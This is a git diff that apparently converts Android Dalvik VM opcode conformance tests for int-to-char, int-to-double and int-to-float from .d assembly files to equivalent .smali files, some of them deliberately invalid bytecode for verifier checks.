-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)C
-.limit regs 5
-
-       int-to-char v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.smali
new file mode 100644
index 0000000..9063148
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_1.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       int-to-char v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.d
deleted file mode 100644
index df98cf1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_2.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)C
-.limit regs 5
-
-       const-wide v0, 3.14
-       int-to-char v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.smali
new file mode 100644
index 0000000..5d4e8c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_2.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       const-wide v0, 3.14
+       int-to-char v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.d
deleted file mode 100644
index e67ac88..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_3.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)C
-.limit regs 5
-
-       const-wide v0, 1234
-       int-to-char v2, v0
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.smali
new file mode 100644
index 0000000..d3d966e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_3.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       const-wide v0, 1234
+       int-to-char v2, v0
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.d
deleted file mode 100644
index 72477b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_4.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)C
-.limit regs 5
-
-       int-to-char v2, v3
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.smali
new file mode 100644
index 0000000..f0806bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_4.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       int-to-char v2, v3
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.d
deleted file mode 100644
index c00482b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_5.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)C
-.limit regs 5
-
-       int-to-char v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.smali
new file mode 100644
index 0000000..e2175e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_5.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)C
+.registers 5
+
+       int-to-char v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.d
deleted file mode 100644
index 91c0397..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_char_6.java
-.class public dot.junit.opcodes.int_to_char.d.T_int_to_char_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)C
-.limit regs 5
-
-       int-to-char v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.smali
new file mode 100644
index 0000000..aca9551
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_char/d/T_int_to_char_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_char_6.java"
+.class  public Ldot/junit/opcodes/int_to_char/d/T_int_to_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)C
+.registers 5
+
+       int-to-char v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.d
deleted file mode 100644
index 19a17f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_1.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 6
-
-       int-to-double v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.smali
new file mode 100644
index 0000000..6552673
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_1.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       int-to-double v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.d
deleted file mode 100644
index adc6bfb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_3.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 6
-
-       const-wide v4, 123455    
-
-       int-to-double v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.smali
new file mode 100644
index 0000000..443aa5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_3.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       const-wide v4, 123455    
+
+       int-to-double v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.d
deleted file mode 100644
index 51f6966..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_4.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()D
-.limit regs 1
-
-       const v0, 1234
-       int-to-double v0, v0
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.smali
new file mode 100644
index 0000000..57d8e7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_4.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()D
+.registers 1
+
+       const v0, 1234
+       int-to-double v0, v0
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.d
deleted file mode 100644
index 9d8382d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_5.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 6
-
-       int-to-double v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.smali
new file mode 100644
index 0000000..662f50c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_5.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       int-to-double v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.d
deleted file mode 100644
index 529f23e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_6.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       int-to-double v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.smali
new file mode 100644
index 0000000..c8cc06a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_6.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       int-to-double v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.d
deleted file mode 100644
index 06b12b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_double_7.java
-.class public dot.junit.opcodes.int_to_double.d.T_int_to_double_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 6
-
-       int-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.smali
new file mode 100644
index 0000000..1e33719
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_double/d/T_int_to_double_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_int_to_double_7.java"
+.class  public Ldot/junit/opcodes/int_to_double/d/T_int_to_double_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       int-to-double v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.d
deleted file mode 100644
index 16b6f1a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_int_to_float_1.java
-.class public dot.junit.opcodes.int_to_float.d.T_int_to_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)F
-.limit regs 5
-
-       int-to-float v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.smali
new file mode 100644
index 0000000..a3459e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/int_to_float/d/T_int_to_float_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
